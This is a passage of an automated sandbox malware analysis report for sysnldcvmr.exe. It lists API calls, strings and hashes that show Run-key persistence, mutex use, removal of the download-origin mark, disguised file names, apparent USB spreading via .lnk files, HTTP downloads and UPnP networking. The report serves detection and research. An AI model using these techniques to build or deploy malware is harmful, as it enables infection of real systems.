Part of subcall function 0040A1B0: RtlFreeHeap.NTDLL(020D0000,00000000,00402612,?,00402612,?), ref: 0040A20B

Strings

pdu, xrefs: 00401339
.Mw, xrefs: 0040135C

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu$.Mw
API String ID: 309973729-3908477397
Opcode ID: 2fa896684b321fe836e516ce056a9b06d37fd724aa26af72c169520ae3e67de3
Instruction ID: 8798272c393d99dde58c69795aa0ec1d050c8eff8ee51a61ed5db2294712bea8
Opcode Fuzzy Hash: 2fa896684b321fe836e516ce056a9b06d37fd724aa26af72c169520ae3e67de3
Instruction Fuzzy Hash: 400186765003109BCB21AF55ECC4E9B7779AF48311B044679FD056B396C638E85487A5

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: 8ff310e7853ca029222ff4769d80b5f1c3030ef883704326f7d9456a7b5fb0ab
Instruction ID: 5b2b6301c056c53cf24b756eb28b55477e9028745ee4fe4862f5ad68d4db2f6a
Opcode Fuzzy Hash: 8ff310e7853ca029222ff4769d80b5f1c3030ef883704326f7d9456a7b5fb0ab
Instruction Fuzzy Hash: 1841B371604A02AFC714EB39D848797F7A4BF88310F14827EE82D933D1E735A855CB99

Function 00408A90 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 00408A9E
_allshl.NTDLL ref: 00408AAD
_allshl.NTDLL ref: 00408ABC
_allshl.NTDLL ref: 00408ACB
_allshl.NTDLL ref: 00408ADA

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: 6ce938123fd61f227b6de6a29a17a105f2c46d2c2b520e971cfa59f1b0e97cc1
Instruction ID: 2f682f979519ea9f46037cdaf014f1fa89077d02b7b0d9f1a8f9fce332e03f2e
Opcode Fuzzy Hash: 6ce938123fd61f227b6de6a29a17a105f2c46d2c2b520e971cfa59f1b0e97cc1
Instruction Fuzzy Hash: 62F03672A11419D79720EFFFD4424CAF7E59F88354B118676F818E3270E5709D1146F5

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction ID: 923efa3f85c100d8dcf87aa4bb405070ff806fabc372267044aefe38fa55a991
Opcode Fuzzy Hash: 0873c704f9b42db8694245f3ff021b9bdebcd9b4b0cbd7409a356cfb69af86d5
Instruction Fuzzy Hash: B72131715083119BC200DF55D844D6BB7E8BFCCB54F044A2DF598A3291D774EA49CBAA

Function 00401C50 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401C88
WSAGetLastError.WS2_32(?,?,?,00401FD3,00000000), ref: 00401C90
Sleep.KERNEL32(00000001,?,?,?,00401FD3,00000000), ref: 00401CA6
WSARecv.WS2_32(?,?,00000001,?,?,?,00000000), ref: 00401CCC

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction ID: 470b9b0004fc9485880b3b0232d8394a6163a25caab740c915041083b8486df8
Opcode Fuzzy Hash: 632ea2d54cc4383f5132f6b2993607fdd6e2119cf45a08eb7173c4bd646593aa
Instruction Fuzzy Hash: 8811AD72148305AFD310CF65EC84AEBB7ECEB88710F40092EF945D2150E6B9E949A7B6

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction ID: 56798eeddd779857b304cdb020dc52eae5646efd672cabe94dca1e5c1b4e91c2
Opcode Fuzzy Hash: b06a38cb9fde64199f830136d194dacddc283b62bd49c201cde61758c607cabc
Instruction Fuzzy Hash: 90014B712483046EE7209B96DC88F9B77A8EBC8711F408429F608DA2D0D7B5A9459B7A

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 37f68c2e8ae6063ea859c376eb200881b9ae20d6250016d66435a6145ab54c34
Instruction ID: 0184f799374b3cbd514a588550e5351e3808897b1395f0a2de410330185c2ead
Opcode Fuzzy Hash: 37f68c2e8ae6063ea859c376eb200881b9ae20d6250016d66435a6145ab54c34
Instruction Fuzzy Hash: DF01F7352423009FC3209F26EC44ADB77E8AF49711F04443EE80697650EB34E545DB28

Function 0040D980 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040DBC0: memset.NTDLL ref: 0040DBE8
Part of subcall function 0040DBC0: InternetCrackUrlA.WININET(0040D699,00000000,10000000,0000003C), ref: 0040DC38
Part of subcall function 0040DBC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040DC48
Part of subcall function 0040DBC0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040DC81
Part of subcall function 0040DBC0: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040DCB7
Part of subcall function 0040DBC0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040DCDF
Part of subcall function 0040DBC0: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040DD28
Part of subcall function 0040DBC0: InternetCloseHandle.WININET(00000000), ref: 0040DDB7

Part of subcall function 0040DAB0: SysAllocString.OLEAUT32(00000000), ref: 0040DADE
Part of subcall function 0040DAB0: CoCreateInstance.OLE32(00412408,00000000,00004401,004123F8,00000000), ref: 0040DB06
Part of subcall function 0040DAB0: SysFreeString.OLEAUT32(00000000), ref: 0040DBA1

SysFreeString.OLEAUT32(00000000), ref: 0040DA5B
SysFreeString.OLEAUT32(00000000), ref: 0040DA65

Strings

%S%S, xrefs: 0040DA46

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 90752405ea59c0d94f47ff5784e28f2eddf96679eb43bf22d5b787ed4233eba5
Instruction ID: beec9ad9f3848cf7af9d47610756df11a49d132dd1bd9a4578eda8885410465d
Opcode Fuzzy Hash: 90752405ea59c0d94f47ff5784e28f2eddf96679eb43bf22d5b787ed4233eba5
Instruction Fuzzy Hash: 4941E6B5E002099FCB04DBE4C885AEFB7B9BF48304F148569E505B7391D738AA85CFA5

Function 0040D250 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 0040D290
CloseHandle.KERNEL32(?), ref: 0040D2A9

Strings

.Mw, xrefs: 0040D2A9

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CloseHandleObjectSingleWait
String ID: .Mw
API String ID: 528846559-2453323595
Opcode ID: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction ID: d1fe1851c25795fdacbee2e877de448503af208f5fff4c31293181607202da8f
Opcode Fuzzy Hash: e15632ae9c74927274e801b832af1c2d3c046c8cbd4ac2304eb1b22343a8a1a8
Instruction Fuzzy Hash: 3B11C574A04208EFCB04CF84D580E69B7B6FB89354F2081AAEC05AB385C735EE52DB95

Analysis Process: 240016073.exePID: 6128, Parent PID: 7656COMMON

Execution Graph

Execution Coverage:	22.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	13
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF7BFFE0685 Relevance: 1.6, APIs: 1, Instructions: 126
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00007FF7BFFE0FD1

Memory Dump Source

Source File: 00000006.00000002.1644008324.00007FF7BFFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7BFFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7bffe0000_240016073.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 08acd1e83d3bf0b71ee43c32630c4936db73b5807665742727b27dcd7e90fba9
Instruction ID: e31875e708f161b2194610f64b2e3e9236c41e1ea3b7b02b07eda57861b0e68b
Opcode Fuzzy Hash: 08acd1e83d3bf0b71ee43c32630c4936db73b5807665742727b27dcd7e90fba9
Instruction Fuzzy Hash: 8F31E571A0CA4C8FDB18DF9CE8456F9BBE1EBA5321F10423FD049D3651DB7068468B91

Function 00007FF7BFFE0F11 Relevance: 1.6, APIs: 1, Instructions: 126
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00007FF7BFFE0FD1

Memory Dump Source

Source File: 00000006.00000002.1644008324.00007FF7BFFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7BFFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7bffe0000_240016073.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 893ceccecf04489e0994deebe1d34cde7f6d88148e52aaddece88e1072b36ae3
Instruction ID: a58f62a1a7436c04b9e9e0c2d4f4aa98c139b2d90b02b6414b3a0e1a22c6e78e
Opcode Fuzzy Hash: 893ceccecf04489e0994deebe1d34cde7f6d88148e52aaddece88e1072b36ae3
Instruction Fuzzy Hash: BA31047090CB889FDB18DB9CD8456F9BBE1EBA6321F00426FD049C3252CB606802CB81

Function 00007FF7BFFE0690 Relevance: 1.6, APIs: 1, Instructions: 118
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQuerySystemInformation.NTDLL ref: 00007FF7BFFE0FD1

Memory Dump Source

Source File: 00000006.00000002.1644008324.00007FF7BFFE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7BFFE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7bffe0000_240016073.jbxd

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 2e8da30ba0e61fb69efc55d4ccc8ca070d57be4352fbc521421ed13c035e4bab
Instruction ID: d77628adb49f9d95b9534f85ff1f26bb762f50e46eafd57a2f7a475392b7855c
Opcode Fuzzy Hash: 2e8da30ba0e61fb69efc55d4ccc8ca070d57be4352fbc521421ed13c035e4bab
Instruction Fuzzy Hash: 7B31C67191CA4C8FDB18EB9CA8456F9BBE1EB65321F10423FD049D3651DB7068528791

Analysis Process: sysnldcvmr.exePID: 7964, Parent PID: 3968COMMON

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1436
Total number of Limit Nodes:	1

Executed Functions

Function 00407590 Relevance: 114.1, APIs: 50, Strings: 15, Instructions: 351
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000BB8), ref: 0040759E
CreateMutexA.KERNELBASE(00000000,00000000,753f85d83d), ref: 004075AD
GetLastError.KERNEL32 ref: 004075B9
ExitProcess.KERNEL32 ref: 004075C8
GetModuleFileNameW.KERNEL32(00000000,00416268,00000105), ref: 00407602
PathFindFileNameW.SHLWAPI(00416268), ref: 0040760D
wsprintfW.USER32 ref: 0040762A
DeleteFileW.KERNEL32(?), ref: 0040763A
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00407651
wcscmp.NTDLL ref: 00407663
ExitProcess.KERNEL32 ref: 00407682

Strings

Windows Settings, xrefs: 00407737, 0040781C, 00407918
%s\%s, xrefs: 00407790
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004078DA
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004076F9
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 004077DE
%userprofile%, xrefs: 0040764C
%s\%s, xrefs: 0040788C
%s\tbtcmds.dat, xrefs: 004079A8
%s\%s, xrefs: 004076AB
%s:Zone.Identifier, xrefs: 0040761E
753f85d83d, xrefs: 004075A4
%s\tbtnds.dat, xrefs: 0040798E
sysnldcvmr.exe, xrefs: 00407657, 0040769F, 00407784, 00407880
%temp%, xrefs: 00407875
%windir%, xrefs: 00407694

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$753f85d83d$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Windows Settings$sysnldcvmr.exe
API String ID: 4172876685-2783337622
Opcode ID: a1d6fff7326ce72d0d35a9766f0f00425a4457401a86cf5fdb87ec0beecc7a9e
Instruction ID: e42dc10877dc27750cdf455f3f1a43eebb5fa16e92bd93e31d1e2fde4cabc692
Opcode Fuzzy Hash: a1d6fff7326ce72d0d35a9766f0f00425a4457401a86cf5fdb87ec0beecc7a9e
Instruction Fuzzy Hash: 50D1B6B1A80314BBE720ABA0DC4AFD93734AB48B05F1085B5F709B50D1DAF9A6C4CB5D

Non-executed Functions

Function 004066B0 Relevance: 79.1, APIs: 35, Strings: 10, Instructions: 305
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_chkstk.NTDLL(?,00406D30,?,?,?), ref: 004066B8
wsprintfW.USER32 ref: 004066EF
wsprintfW.USER32 ref: 0040670F
wsprintfW.USER32 ref: 0040672F
wsprintfW.USER32 ref: 0040674F
wsprintfW.USER32 ref: 00406768
PathFileExistsW.SHLWAPI(?), ref: 00406778
SetFileAttributesW.KERNEL32(?,00000080), ref: 004067B1
DeleteFileW.KERNEL32(?), ref: 004067BE
PathFileExistsW.SHLWAPI(?), ref: 004067CB
PathFileExistsW.SHLWAPI(?), ref: 004067E0
SetFileAttributesW.KERNEL32(?,00000080), ref: 004067F6
DeleteFileW.KERNEL32(?), ref: 00406803
PathFileExistsW.SHLWAPI(?), ref: 00406810
CreateDirectoryW.KERNEL32(?,00000000), ref: 00406823
SetFileAttributesW.KERNEL32(?,00000002), ref: 00406836
PathFileExistsW.SHLWAPI(?), ref: 00406843

Strings

%s.lnk, xrefs: 004066E3
%s\%s, xrefs: 00406703
%s\%s, xrefs: 00406743
%s\%s, xrefs: 00406AA2
%s\*, xrefs: 0040675C
shell32.dll, xrefs: 004068A7
shell32.dll, xrefs: 0040688F
%s\%s\DriveSecManager.exe, xrefs: 00406723
%s\%s, xrefs: 00406B15
%s\%s\%s, xrefs: 00406B3C

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: File$ExistsPathwsprintf$Attributes$Delete$CreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\DriveSecManager.exe$%s\*$shell32.dll$shell32.dll
API String ID: 2467965697-1256475382
Opcode ID: 6fdb608ebf9e3f7754ee061c031def056059c2a3e2aafc618c301169eaa81d58
Instruction ID: f76dd7f444767b2c43f85b167d980272eeebb95a9fd79305f50fc2a4155965b0
Opcode Fuzzy Hash: 6fdb608ebf9e3f7754ee061c031def056059c2a3e2aafc618c301169eaa81d58
Instruction Fuzzy Hash: BFD162B5900258ABCB20DF50DC44BEA77B8BB48304F0485EAF60AE6191D7B99BD4CF59

Function 00406570 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(ok@,00000000), ref: 0040657F
wsprintfW.USER32 ref: 00406595
FindFirstFileW.KERNEL32(?,?), ref: 004065AC
lstrcmpW.KERNEL32(?,00411108), ref: 004065D1
lstrcmpW.KERNEL32(?,0041110C), ref: 004065E7
wsprintfW.USER32 ref: 0040660A
wsprintfW.USER32 ref: 0040662A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406666
FindNextFileW.KERNEL32(000000FF,?), ref: 0040667A
FindClose.KERNEL32(000000FF), ref: 0040668F
RemoveDirectoryW.KERNEL32(?), ref: 00406699

Strings

%s\%s, xrefs: 004065FE
%s\%s, xrefs: 0040661E
ok@, xrefs: 0040657B, 0040661A, 0040657E, 0040661D
%s\*, xrefs: 00406589

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*$ok@
API String ID: 92872011-32713442
Opcode ID: bdcae0db678ffea431cb11009663f4446319228456e5c176b7e99ad091f418f3
Instruction ID: 6b6780eb73bc58f0ce40e07c43f053b4d902fc918dfc6bbc5558198ff1b4ac31
Opcode Fuzzy Hash: bdcae0db678ffea431cb11009663f4446319228456e5c176b7e99ad091f418f3
Instruction Fuzzy Hash: AB3127B5900218AFCB10DB60EC89FDA7778BB48701F4085A9F609A3195DB75DAD4CF58

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040D130: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040D14E

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040D160: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D184
Part of subcall function 0040D160: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D1DF
Part of subcall function 0040D160: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D21C
Part of subcall function 0040D160: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D227
Part of subcall function 0040D160: DuplicateHandle.KERNEL32(00000000), ref: 0040D22E
Part of subcall function 0040D160: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D242

Memory Dump Source

Source File: 00000007.00000002.1635127951.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1635111443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635146545.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1635164093.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 37cf53b06a8410454a1798d38201431a2759ba3d0e51bc8328308ef715640324
Instruction ID: bb6f584dfdc5104726d227d4109236b5a11985639f999f99e629cd7821b1dbc1
Opcode Fuzzy Hash: 37cf53b06a8410454a1798d38201431a2759ba3d0e51bc8328308ef715640324
Instruction Fuzzy Hash: 3F41B270640301ABD3209F749C4AF4B77E4AF48710F108A2DF669EA2D4E7F4E845875A

Function 0040D710 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040D72A
htons.WS2_32(0000076C), ref: 0040D760
inet_addr.WS2_32(239.255.255.250), ref: 0040D76F
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040D78D

Part of subcall function 0040AA80: htons.WS2_32(00000050), ref: 0040AAAD
Part of subcall function 0040AA80: socket.WS2_32(00000002,00000001,00000000), ref: 0040AACD
Part of subcall function 0040AA80: connect.WS2_32(000000FF,?,00000010), ref: 0040AAE6
Part of subcall function 0040AA80: getsockname.WS2_32(000000FF,?,00000010), ref: 0040AB18

bind.WS2_32(000000FF,?,00000010), ref: 0040D7C3
